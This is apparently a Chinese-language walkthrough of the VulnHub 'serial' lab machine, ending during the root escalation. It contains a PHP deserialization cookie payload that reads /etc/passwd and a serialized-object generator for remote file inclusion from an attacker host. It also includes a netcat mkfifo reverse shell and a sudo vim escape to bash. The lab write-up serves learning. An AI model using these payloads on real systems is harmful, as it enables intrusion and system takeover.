项目地址
https://download.vulnhub.com/serial/serial.zip
实验过程
将下载好的靶机导入到VMware中,设置网络模式为NAT模式,然后开启靶机虚拟机
使用nmap进行主机发现,获取靶机IP地址
nmap 192.168.47.1-254
根据对比可知serial的一个ip地址为192.168.47.143
该靶机开启了22端口和80端口
对网站进行一个访问,大概意思为这是对新的cookie处理程序的测试版
暂且搁置
目录扫描
dirb http://192.168.47.143
发现一个可访问网站,尝试访问一下
发现一个zip文件
下载看看
对该zip压缩包进行一个解压
解压出3份php文件,看看内容
index.php文件中包含user.class.php文件且对cookie中的user参数进行了序列化和base64编码
user.class.php文件包含log.class.php文件且定义了Welcome和User两个类并调用了log.class.php文件中的handler函数
log.class.php定义了Log类和成员变量type_log且handler函数对变量进行了文件包含和输出
没得到有用的信息
访问原网站,用Burpsuite抓包查看cookie
由刚才三个文件可知这是base64编码
进行解码
得到O:4:“User”:2:{s:10:“.User.name”;s:3:“sk4”;s:9:“.User.wel”;O:7:“Welcome”:0:{}}7.
构造payload,尝试读取passwd文件
O:4:"User":2:{s:10:" User name";s:5:"admin";s:9:" User wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}
使用base64编码
将Burp抓的包发送到repeater模块
修改cookie为我们构造的payload,send
报了个500的错误
对payload进行base64编码
O:4:"User":2:{s:10:"\x00User\x00name";s:5:"admin";s:9:"\x00User\x00wel";O:3:"Log":1:{s:8:"type_log";s:11:"/etc/passwd";}}
修改cookie,得到passwd
Tzo0OiJVc2VyIjoyOntzOjEwOiIAVXNlcgBuYW1lIjtzOjU6ImFkbWluIjtzOjk6IgBVc2VyAHdlbCI7TzozOiJMb2ciOjE6e3M6MTM6IgBMb2cAdHlwZV9sb2ciO3M6MTE6Ii9ldGMvcGFzc3dkIjt9fQ==
可知可登录系统用户除了root,还有sk4
获取shell
在本地构造一个payload
写入到一个php文件中
<?php
class Log {
private $type_log = "http://192.168.110.159/1.txt";
}
class User {
private $name = "admin";
private $wel;
function __construct() {
$this->wel = new Log();
}
}
$obj = new User();
echo base64_encode(serialize($obj));
访问1.php文件
获得一个base64编码
更换抓包的cookie进行测试
输入?cmd=id
命令执行成功
在Kali开启一个监听
反弹shell
rm+/tmp/f%3bmkfifo+/tmp/f%3bcat+/tmp/f|/bin/sh+-i+2>%261|nc+192.168.47.129+8888+>/tmp/f
没有回应,但反弹成功
提权
查看系统版本,内核版本
没有可用漏洞
四处翻翻
在根目录下找到一个txt.bak文件
查看
获得了sk4的登录账号和密码
因为之前扫出来有22端口开放
使用远程连接
登陆成功
尝试进入root模式
失败
试试sudo vim,进入到命令模式输入!bash